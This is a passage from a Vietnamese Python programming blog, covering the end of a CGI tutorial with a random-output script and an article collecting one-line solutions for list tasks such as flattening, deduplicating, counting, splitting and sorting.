<p>Thay vì xử lý những thẻ HTML một cách đặc biệt thì trình duyệt đã không làm như vậy. Và đây là cách làm đúng bởi vì chúng ta nói cho trình duyệt biết rằng nội dung của chúng ta là ở dạng văn bản thường (plaintext) thông qua đầu mục <strong>Content-Type</strong> như trên. Trình duyệt IE không tuân theo chuẩn HTTP một cách triệt để nên vẫn sẽ hiển thị nội dung của chúng ta dưới dạng một trang HTML.</p>
</div>
<div class="section" id="mot-it-du-lieu-dong">
<h2>Một ít dữ liệu động</h2>
<p>Mục đích của chương trình CGI là xử lý và xuất dữ liệu nên sẽ là vô ích nếu chương trình CGI của chúng ta chỉ xuất các trang web tĩnh. Chúng ta sẽ sửa lại chương trình một chút như sau:</p>
<div class="highlight"><pre><span></span><span class="ch">#!c:/python26/python</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="n">actions</span> <span class="o">=</span> <span class="p">(</span><span class="s2">"rocks"</span><span class="p">,</span> <span class="s2">"rules"</span><span class="p">,</span> <span class="s2">"kicks butt"</span><span class="p">,</span> <span class="s2">"constricts camel"</span><span class="p">)</span>
<span class="nb">print</span> <span class="s2">"Content-Type: text/html"</span>
<span class="nb">print</span> <span class="s2">""</span>
<span class="nb">print</span> <span class="s2">"""<html></span>
<span class="s2"> <head></span>
<span class="s2"> <title>Python!</title></span>
<span class="s2"> </head></span>
<span class="s2"> <body></span>
<span class="s2"> Python </span><span class="si">%s</span><span class="s2">.</span>
<span class="s2"> </body></span>
<span class="s2"></html>"""</span> <span class="o">%</span> <span class="n">random</span><span class="o">.</span><span class="n">choice</span><span class="p">(</span><span class="n">actions</span><span class="p">)</span>
</pre></div>
<p>Trong chương trình này, chúng ta sử dụng mô-đun <strong>random</strong> và hàm <strong>choice</strong> để chọn một hành động ngẫu nhiên. Khi làm tươi trình duyệt, chúng ta có thể gặp các hình tương tự như sau.</p>
<img alt="" src="/static/web-programming/cgi/dynamic1.png" />
<img alt="" src="/static/web-programming/cgi/dynamic2.png" />
</div>
<div class="section" id="tom-tat">
<h2>Tóm tắt</h2>
<p>Trong kỳ này chúng ta đã được giới thiệu về mô hình hoạt động của giao thức CGI, các yếu tố quan trọng trong một chương trình CGI viết bằng ngôn ngữ Python, một ít kiến thức về giao thức HTTP, và sự đa dạng của thế giới trình duyệt web. Ở kỳ sau chúng ta sẽ tìm hiểu cách nhận dữ liệu từ máy khách qua URL và mẫu đơn (form).</p>
</div>
Python One-Liner2010-01-22T16:30:00+07:002010-01-22T16:30:00+07:00Phạm Thị Minh Hoàitag:None,2010-01-22:2010/01/python-one-liner.html<p><strong>Python One-Liner</strong> là trường phái viết Python trên một dòng. Theo đó mỗi một hành động xác định được viết bởi các lệnh cô đọng gom lại trên một dòng duy nhất. <strong>Hành động xác định</strong> không phải là những hành động quá phức tạp, nhưng cũng không quá đơn …</p><p><strong>Python One-Liner</strong> là trường phái viết Python trên một dòng. Theo đó mỗi một hành động xác định được viết bởi các lệnh cô đọng gom lại trên một dòng duy nhất. <strong>Hành động xác định</strong> không phải là những hành động quá phức tạp, nhưng cũng không quá đơn giản. Ví dụ việc trao đổi giá trị giữa hai biến có thể coi là một hành động xác định như vậy. Python cho phép thực hiện điều này trên một dòng với một lệnh duy nhất, và với tôi đó là một trong những lệnh Python đẹp nhất:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="n">b</span><span class="p">,</span> <span class="n">a</span>
</pre></div>
<p><strong>Python One-Liners</strong> cũng chính là tập hợp các mẹo (trick) Python nhằm giải quyết các bài toán nhỏ một cách ngắn gọn theo phương châm <a class="reference external" href="http://wiki.python.org/moin/Powerful%20Python%20One-Liners">"do a lot with a little."</a> Điều này thường khó thực hiện ở các ngôn ngữ khác. Nhưng chúng có thể thực hiện được trong Python do đặc trưng ngôn ngữ hỗ trợ cách viết như vậy. Chẳng hạn cách dùng hàm lambda, List Comprehensions, <tt class="docutils literal">map</tt>, <tt class="docutils literal">filter</tt>, <tt class="docutils literal">zip</tt>, <tt class="docutils literal">dict</tt>, <tt class="docutils literal">set</tt>... đã xây dựng những đặc trưng ngôn ngữ cho phép viết các mã ngắn gọn hơn các ngôn ngữ khác.</p>
<p>Trong bài viết này tôi sẽ tổng hợp một số các bài toán đơn giản mà triển khai Python có thể được viết trên một dòng. Chúng là các bài toán cơ bản có liên quan đến <strong>list</strong>. Tôi hi vọng những bạn chưa biết về các công thức trong bài này sẽ tìm thấy nhiều điểm lý thú, và qua đó càng hiểu được sức mạnh và sự hấp dẫn tuyệt vời của Python. Các công thức này một số được tôi thường xuyên sử dụng, một số được sưu tầm và các bạn có thể tìm thấy ở đâu đó trên internet.</p>
<div class="section" id="lam-phang-mot-list">
<h2>1. Làm phẳng một list</h2>
<p>Cho một list dạng hai chiều như sau: <strong>L = [[1,2,3], [4,5,6], [7], [8,9]]</strong> hãy biến nó thành dạng một chiều dạng <strong>[1, 2, 3, 4, 5, 6, 7, 8, 9]</strong>. Đây là một số lời giải một dòng của bài toán này:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">L</span> <span class="o">=</span> <span class="p">[[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">],[</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">6</span><span class="p">],</span> <span class="p">[</span><span class="mi">7</span><span class="p">],</span> <span class="p">[</span><span class="mi">8</span><span class="p">,</span><span class="mi">9</span><span class="p">]]</span>
<span class="gp">>>> </span><span class="nb">sum</span><span class="p">(</span><span class="n">L</span><span class="p">,</span> <span class="p">[])</span>
<span class="gp">>>> </span><span class="n">reduce</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">:</span> <span class="n">x</span> <span class="o">+</span> <span class="n">y</span><span class="p">,</span> <span class="n">L</span><span class="p">)</span>
<span class="gp">>>> </span><span class="nb">list</span><span class="p">(</span><span class="n">itertools</span><span class="o">.</span><span class="n">chain</span><span class="p">(</span><span class="n">L</span><span class="p">))</span> <span class="c1">#import itertools.</span>
<span class="gp">>>> </span><span class="p">[</span><span class="n">item</span> <span class="k">for</span> <span class="n">sublist</span> <span class="ow">in</span> <span class="n">L</span> <span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">sublist</span><span class="p">]</span>
</pre></div>
<p><em>Python cung cấp cho bạn một tập hợp phong phú các cú pháp và hàm dựng sẵn cho phép bạn giải cùng một bài toán theo nhiều cách khác nhau.</em> Trong các lời giải trên lời giải cuối cùng là nhanh nhất và nó cũng dễ hiểu nhất. Chi tiết các lời giải trên các bạn có thể xem trên trang: <a class="reference external" href="http://stackoverflow.com/questions/952914/making-a-flat-list-out-of-list-of-lists-in-python">Making a flat list out of list of lists in python</a>. Hàm <strong>reduce</strong> đã bị loại bỏ kể từ Python 3000 (<a class="reference external" href="http://www.artima.com/weblogs/viewpost.jsp?thread=98196">Suggested by Guido van Rossum</a>), tuy nhiên vẫn được giữa lại trong thư viện <strong>functools</strong>, do vậy bạn có thể dùng:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">functools</span><span class="o">.</span><span class="n">reduce</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">:</span> <span class="n">x</span> <span class="o">+</span> <span class="n">y</span><span class="p">,</span> <span class="n">L</span><span class="p">)</span>
</pre></div>
<p>Nếu list L không phải là hai chiều, mà có thể chứa các list con đệ quy, bạn có thể dùng hàm sau:</p>
<div class="highlight"><pre><span></span><span class="go">def flatten(seq, a = list()):</span>
<span class="go"> try:</span>
<span class="go"> for item in seq:</span>
<span class="go"> flatten(item, a)</span>
<span class="go"> except TypeError:</span>
<span class="go"> a.append(seq)</span>
<span class="go"> return a</span>
<span class="go">print flatten([[1,2, [3,4], 5], 6, [7, [8, 9]]])</span>
</pre></div>
</div>
<div class="section" id="loai-bo-cac-phan-tu-trung-nhau-trong-list">
<h2>2. Loại bỏ các phần tử trùng nhau trong list</h2>
<p>Hãy tạo ra một list mới chứa các phần tử không trùng nhau của L. Một số cách giải trên một dòng:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">L</span> <span class="o">=</span> <span class="nb">dict</span><span class="o">.</span><span class="n">fromkeys</span><span class="p">(</span><span class="n">L</span><span class="p">)</span><span class="o">.</span><span class="n">keys</span><span class="p">()</span> <span class="c1"># Python 3.x trả về iterator</span>
<span class="gp">>>> </span><span class="n">L</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">set</span><span class="p">(</span><span class="n">L</span><span class="p">))</span>
<span class="gp">>>> </span><span class="p">[</span><span class="n">x</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">L</span><span class="p">)</span> <span class="k">if</span> <span class="n">i</span><span class="o">==</span><span class="n">L</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="n">x</span><span class="p">)]</span>
</pre></div>
<p>Với <strong>L = [5,6,1,1,1,2,2,2,3,3,3]</strong> hai lời giải trên cho kết quả <strong>[1, 2, 3, 5, 6]</strong>. Lời giải cuối cùng cho kết quả <strong>[5, 6, 1, 2, 3]</strong>. Như vậy trong một số tình huống lời giải cuối cùng tốt hơn, do nó vẫn giữ được thứ tự các phần tử như ban đầu. Tuy vậy lời giải cuối cùng chạy rất chậm. Hãy xem kết quả đo thời gian chạy của các lời giải như sau:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="kn">from</span> <span class="nn">timeit</span> <span class="kn">import</span> <span class="n">Timer</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"list(set(L))"</span><span class="p">,</span> <span class="s2">"L = range(10**4)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>
<span class="go">0.030437396173560671</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"dict.fromkeys(L).keys()"</span><span class="p">,</span> <span class="s2">"L = range(10**4)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>
<span class="go">0.027800167602894277</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"[x for i, x in enumerate(L) if i==L.index(x)]"</span><span class="p">,</span> <span class="s2">"L = range(10**4)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>
<span class="go">25.005568798618903</span>
</pre></div>
<p>Việc <em>so sánh thời gian chạy</em> giữa các <strong>Python One-Liner</strong> rất hay được các tác giả thực hiện. Chúng đánh giá khả năng sử dụng thực tế của mỗi công thức. Lời giải cuối cùng như các bạn thấy dù có ưu điểm song không thể dùng được khi có test xấu trên 10000 phần tử.</p>
</div>
<div class="section" id="dem-so-phan-tu-co-trong-mot-list">
<h2>3. Đếm số phần tử có trong một list</h2>
<p>Nếu chỉ đếm một phần tử thì quá đơn giản, dùng <strong>list.count</strong> là xong, nhưng nếu để đếm tần số cho nhiều item một lúc thì làm thế nào. Chẳng hạn có <strong>L = [5,6,1,1,1,2,2,2,3,3]</strong> muốn tạo ra <strong>D={5:1, 6:1, 1:3, 2:3, 3:2}</strong>.</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="nb">dict</span><span class="p">([(</span><span class="n">x</span><span class="p">,</span> <span class="n">L</span><span class="o">.</span><span class="n">count</span><span class="p">(</span><span class="n">x</span><span class="p">))</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">set</span><span class="p">(</span><span class="n">L</span><span class="p">)])</span>
<span class="gp">>>> </span><span class="p">{</span><span class="n">x</span><span class="p">:</span> <span class="n">L</span><span class="o">.</span><span class="n">count</span><span class="p">(</span><span class="n">x</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">set</span><span class="p">(</span><span class="n">L</span><span class="p">)}</span> <span class="c1"># dict comprehensions, có từ Python 3.x</span>
<span class="gp">>>> </span><span class="n">collections</span><span class="o">.</span><span class="n">Counter</span><span class="p">(</span><span class="n">L</span><span class="p">)</span> <span class="c1"># import collections, có từ Python 3.x</span>
</pre></div>
<p>Lời giải số một tuy dài nhưng có thể chạy trên hầu hết các bản Python > 2.4. Lời giải số hai chẳng qua là từ 1 ra nhưng với cú pháp mới của Python 3.x nó dễ hiểu và đơn giản hơn. Lời giải cuối cùng đơn giản đến mức bạn chỉ cần có <strong>import collections</strong>. Module <strong>collections</strong> chứa các phương tiện cho phép bạn viết các mã Python ngắn gọn, và chạy rất nhanh. Một ví dụ khác về cách dùng <strong>Counter</strong> trong module <strong>collections</strong>, đoạn mã này cho phép đếm tần số xuất hiện của các ký tự trong một string:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">collections</span><span class="o">.</span><span class="n">Counter</span><span class="p">(</span><span class="s2">"abcabca"</span><span class="p">)</span>
<span class="go">Counter({'a': 3, 'c': 2, 'b': 2})</span>
</pre></div>
<p>Càng về sau này các phiên bản Python càng hỗ trợ nhiều hơn các cú pháp và thư viện cho phép bạn viết các mã ngắn gọn hơn. Đây là đặc trưng của Python: <em>Viết ít hơn làm nhiều hơn</em>. Việc gia tăng hiểu biết của bạn về các thư viện là một kinh nghiệm quan trọng.</p>
</div>
<div class="section" id="chia-mot-list-thanh-nhieu-list">
<h2>4. Chia một list thành nhiều list</h2>
<p>Bài toán chia một list thành nhiều list có thể gặp hai yêu cầu:</p>
<ol class="arabic simple">
<li>Chia list thành nhiều list có độ dài bằng nhau</li>
<li>Chia list thành n list con có độ dài tương đương nhau (với khác biệt kích thước nhỏ nhất).</li>
</ol>
<p>Vấn đề số một có thể giải quyết bằng các hàm sau:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">SplitInto</span><span class="o">=</span><span class="k">lambda</span> <span class="n">a</span><span class="p">,</span><span class="n">n</span><span class="p">:</span> <span class="p">[</span><span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="o">*</span><span class="n">n</span><span class="p">:(</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="n">n</span><span class="p">]</span> \
<span class="gp">... </span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o">%</span> <span class="n">n</span> <span class="ow">and</span> <span class="nb">len</span><span class="p">(</span><span class="n">a</span><span class="p">)</span><span class="o">/</span><span class="n">n</span> <span class="o">+</span> <span class="mi">1</span> <span class="ow">or</span> <span class="nb">len</span><span class="p">(</span><span class="n">a</span><span class="p">)</span><span class="o">/</span><span class="n">n</span><span class="p">)]</span>
<span class="gp">>>> </span><span class="n">SplitInto</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">),</span> <span class="mi">3</span><span class="p">)</span>
<span class="go">[[0, 1, 2], [3, 4, 5], [6, 7, 8], [9]]</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">SplitInto</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">L</span><span class="p">,</span> <span class="n">n</span><span class="p">:</span> <span class="nb">zip</span><span class="p">(</span><span class="o">*</span><span class="p">[</span><span class="n">chain</span><span class="p">(</span><span class="n">L</span><span class="p">,</span> <span class="n">repeat</span><span class="p">(</span><span class="kc">None</span><span class="p">,</span> <span class="n">n</span><span class="o">-</span><span class="mi">1</span><span class="p">))]</span><span class="o">*</span><span class="n">n</span><span class="p">)</span>
<span class="gp">>>> </span><span class="n">SplitInto</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">),</span> <span class="mi">3</span><span class="p">)</span>
<span class="go"><zip object at 0x01D607D8></span>
<span class="gp">>>> </span><span class="nb">list</span><span class="p">(</span><span class="n">SplitInto</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">),</span> <span class="mi">3</span><span class="p">))</span>
<span class="go">[(0, 1, 2), (3, 4, 5), (6, 7, 8), (9, None, None)]</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">SplitInto</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">L</span><span class="p">,</span> <span class="n">n</span><span class="p">:</span> <span class="n">zip_longest</span><span class="p">(</span><span class="o">*</span><span class="p">[</span><span class="nb">iter</span><span class="p">(</span><span class="n">L</span><span class="p">)]</span><span class="o">*</span><span class="n">n</span><span class="p">)</span>
<span class="gp">>>> </span><span class="nb">list</span><span class="p">(</span><span class="n">SplitInto</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">),</span> <span class="mi">3</span><span class="p">))</span>
<span class="go">[(0, 1, 2), (3, 4, 5), (6, 7, 8), (9, None, None)]</span>
<span class="gp">>>> </span><span class="n">SplitInto</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">L</span><span class="p">,</span> <span class="n">n</span><span class="p">:</span> <span class="n">zip_longest</span><span class="p">(</span><span class="o">*</span><span class="p">[</span><span class="nb">iter</span><span class="p">(</span><span class="n">L</span><span class="p">)]</span><span class="o">*</span><span class="n">n</span><span class="p">,</span> <span class="n">fillvalue</span><span class="o">=-</span><span class="mi">1</span><span class="p">)</span>
<span class="gp">>>> </span><span class="nb">list</span><span class="p">(</span><span class="n">SplitInto</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">),</span> <span class="mi">3</span><span class="p">))</span>
<span class="go">[(0, 1, 2), (3, 4, 5), (6, 7, 8), (9, -1, -1)]</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">SplitInto</span><span class="o">=</span> <span class="k">lambda</span> <span class="n">L</span><span class="p">,</span> <span class="n">n</span><span class="p">:</span> <span class="p">[</span><span class="n">L</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="n">n</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">L</span><span class="p">),</span> <span class="n">n</span><span class="p">)]</span>
<span class="gp">>>> </span><span class="n">SplitInto</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">),</span> <span class="mi">3</span><span class="p">)</span>
<span class="go">[[0, 1, 2], [3, 4, 5], [6, 7, 8], [9]]</span>
</pre></div>
<p>Lời giải số 1, 4 dùng cho các phiên bản Python từ 2.3 trở đi. Hai lời giải 2, 3 sau đòi hỏi phải có lệnh <strong>from itertools import *</strong> và chỉ chạy từ Python 3.x trở đi. Chi tiết về các lời giải này các bạn có thể xem thêm: <a class="reference external" href="http://stackoverflow.com/questions/312443/how-do-you-split-a-list-into-evenly-sized-chunks-in-python">How do you split a list into evenly sized chunks in Python?</a></p>
<p>Vấn đề số 2 có thể có lời giải sau:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">SplitInto</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">L</span><span class="p">,</span> <span class="n">n</span><span class="p">:</span> <span class="p">[</span><span class="n">L</span><span class="p">[</span><span class="n">i</span><span class="p">::</span><span class="n">n</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">n</span><span class="p">)]</span>
<span class="gp">>>> </span><span class="n">SplitInto</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">),</span> <span class="mi">3</span><span class="p">)</span> <span class="c1"># SplitInto(list(range(10)), 3) với Python 3.x</span>
<span class="go">[[0, 3, 6, 9], [1, 4, 7], [2, 5, 8]]</span>
</pre></div>
<p>Lời giải trên là đơn giản đến mức... không cần tìm thêm các lời giải khác làm gì cho mệt. Tuy nhiên nó không chia theo đúng thứ tự. Đây là cách khác phức tạp hơn nhưng giữ nguyên được thứ tự các phần tử:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">SplitInto</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">L</span><span class="p">,</span> <span class="n">n</span><span class="p">:</span> <span class="p">[</span><span class="n">L</span><span class="p">[</span><span class="nb">int</span><span class="p">(</span><span class="n">i</span><span class="o">*</span><span class="mf">1.0</span><span class="o">*</span><span class="nb">len</span><span class="p">(</span><span class="n">L</span><span class="p">)</span><span class="o">/</span><span class="n">n</span><span class="p">):</span><span class="nb">int</span><span class="p">((</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="mf">1.0</span><span class="o">*</span><span class="nb">len</span><span class="p">(</span><span class="n">L</span><span class="p">)</span><span class="o">/</span><span class="n">n</span><span class="p">)]</span> \
<span class="gp">... </span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">n</span><span class="p">)]</span>
<span class="gp">>>> </span><span class="n">SplitInto</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">),</span> <span class="mi">3</span><span class="p">)</span>
<span class="go">[[0, 1, 2], [3, 4, 5], [6, 7, 8, 9]]</span>
<span class="gp">>>> </span><span class="n">SplitInto</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">),</span> <span class="mi">2</span><span class="p">)</span>
<span class="go">[[0, 1, 2, 3, 4], [5, 6, 7, 8, 9]]</span>
<span class="gp">>>> </span><span class="n">SplitInto</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">),</span> <span class="mi">4</span><span class="p">)</span>
<span class="go">[[0, 1], [2, 3, 4], [5, 6], [7, 8, 9]]</span>
</pre></div>
<p>Cách viết này khá dài, nhưng giữ nguyên được thứ tự giữa các phần tử. Các dòng dài chính là đặc trưng của <strong>Python One-liner</strong>.</p>
</div>
<div class="section" id="kiem-tra-mot-list-la-tap-con-cua-list-khac">
<h2>5. Kiểm tra một list là tập con của list khác</h2>
<p>Cho hai list a, b. kiểm tra xem a có chứa b hay không. Danh sách a chứa danh sách b nếu tất cả các phần tử của b đều có trong a. Cách giải sau đã có lần tôi trình bày, dùng thư viện <strong>operator</strong> và hàm built-in <strong>reduce</strong>, có thể dùng với mọi phiên bản Python 2.x:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">a</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="p">]</span>
<span class="gp">>>> </span><span class="n">b</span> <span class="o">=</span> <span class="p">[</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">6</span><span class="p">]</span>
<span class="gp">>>> </span><span class="n">c</span> <span class="o">=</span> <span class="p">[</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">]</span>
<span class="gp">>>> </span><span class="n">reduce</span><span class="p">(</span><span class="n">operator</span><span class="o">.</span><span class="n">and_</span><span class="p">,</span> <span class="nb">map</span><span class="p">(</span><span class="n">a</span><span class="o">.</span><span class="fm">__contains__</span><span class="p">,</span> <span class="n">b</span><span class="p">))</span>
<span class="go">False</span>
<span class="gp">>>> </span><span class="n">reduce</span><span class="p">(</span><span class="n">operator</span><span class="o">.</span><span class="n">and_</span><span class="p">,</span> <span class="nb">map</span><span class="p">(</span><span class="n">a</span><span class="o">.</span><span class="fm">__contains__</span><span class="p">,</span> <span class="n">c</span><span class="p">))</span>
<span class="go">True</span>
</pre></div>
<p>Từ Python 2.4 bạn có thể sử dụng set:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="nb">set</span><span class="p">(</span><span class="n">a</span><span class="o">+</span><span class="n">b</span><span class="p">)</span> <span class="o">==</span> <span class="nb">set</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
<span class="go">False</span>
<span class="gp">>>> </span><span class="nb">set</span><span class="p">(</span><span class="n">a</span><span class="o">+</span><span class="n">c</span><span class="p">)</span> <span class="o">==</span> <span class="nb">set</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
<span class="go">True</span>
<span class="gp">>>> </span><span class="nb">set</span><span class="p">(</span><span class="n">c</span><span class="p">)</span><span class="o">.</span><span class="n">issubset</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
<span class="go">True</span>
<span class="gp">>>> </span><span class="nb">set</span><span class="p">(</span><span class="n">b</span><span class="p">)</span><span class="o">.</span><span class="n">issubset</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
<span class="go">False</span>
<span class="gp">>>> </span><span class="nb">set</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o"><=</span> <span class="nb">set</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
<span class="go">True</span>
<span class="gp">>>> </span><span class="nb">set</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="o"><=</span> <span class="nb">set</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
<span class="go">False</span>
</pre></div>
<p>Từ Python 2.5 bạn có thể viết:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="nb">all</span><span class="p">([</span><span class="n">x</span> <span class="ow">in</span> <span class="n">a</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">b</span><span class="p">])</span>
<span class="go">False</span>
<span class="gp">>>> </span><span class="nb">all</span><span class="p">([</span><span class="n">x</span> <span class="ow">in</span> <span class="n">a</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">c</span><span class="p">])</span>
<span class="go">True</span>
</pre></div>
<p>Module <strong>operator</strong> cung cấp cách dùng các toán tử như các hàm. Trong ví dụ 1 thực tế chúng ta dùng toán tử <strong>in</strong> thông thường. Các toán tử dùng như các hàm cho phép kết hợp với các hàm built-in khác để viết các lệnh Python rất ngắn gọn và thuận tiện. Một ví dụ (được lấy trong tài liệu Python) tính tích vô hướng hai vector:</p>
<div class="highlight"><pre><span></span><span class="go">sum(map(operator.mul, vector1, vector2))</span>
</pre></div>
<p>Thật khó để viết ngắn hơn và chạy nhanh hơn như vậy. Các ví dụ trên càng nói rõ hơn điều tôi đã nhấn mạnh ở mục 3: các phiên bản Python càng về sau càng hỗ trợ tốt hơn việc viết các mã ngắn gọn và hiệu quả. Tuy vậy bạn phải cân nhắc <em>lựa chọn giải pháp đúng</em> cho phiên bản Python mà nó sẽ chạy.</p>
</div>
<div class="section" id="sap-xep-nhieu-column">
<h2>6. Sắp xếp nhiều column</h2>
<p>Cho các column a, b, c... có cùng kích thước. Hãy sắp xếp chúng theo thứ tự a, b, c.... Nội dung các dòng không thay đổi. Dưới đây là một ví dụ triển khai với 2 cột a, b:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">a</span> <span class="o">=</span> <span class="p">[</span><span class="mi">3</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">]</span>
<span class="gp">>>> </span><span class="n">b</span> <span class="o">=</span> <span class="p">[</span><span class="s2">"c"</span><span class="p">,</span> <span class="s2">"b"</span><span class="p">,</span> <span class="s2">"b"</span><span class="p">,</span> <span class="s2">"a"</span><span class="p">,</span> <span class="s2">"c"</span><span class="p">,</span> <span class="s2">"a"</span><span class="p">]</span>
<span class="gp">>>> </span><span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="nb">zip</span><span class="p">(</span><span class="o">*</span><span class="nb">sorted</span><span class="p">(</span><span class="nb">zip</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">)))</span>
<span class="gp">>>> </span><span class="n">a</span>
<span class="go">(1, 1, 2, 2, 3, 3)</span>
<span class="gp">>>> </span><span class="n">b</span>
<span class="go">('a', 'c', 'a', 'b', 'b', 'c')</span>
</pre></div>
<p>Thật tuyệt!!!. Chúng đơn giản đến mức khó có thể ngắn gọn hơn nữa. Công thức trên trọn vẹn trên một dòng có ít hơn 80 ký tự. Tất cả chỉ có 4 lệnh. Ít nhất nó cũng gây cho tôi nhiều sự phấn khích và ngạc nhiên. Và các bạn sẽ thấy trên nhiều forum Python, việc tìm kiếm các "One-Liner" thực sự là thú vị và là trò chơi hấp dẫn của các Python guru.</p>
</div>
<div class="section" id="tong-ket">
<h2>7. Tổng kết</h2>
<p>Khi kích thước dữ liệu đầu vào lớn một số trong các hàm trả về list trên đây cần được thay thế bằng các hàm trạng thái. Chẳng hạn việc chia một list thành nhiều list bằng nhau nên viết thành hàm trạng thái, sẽ dùng ít bộ nhớ và nhanh hơn:</p>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">SplitInto</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
<span class="n">start</span> <span class="o">=</span> <span class="mi">0</span>
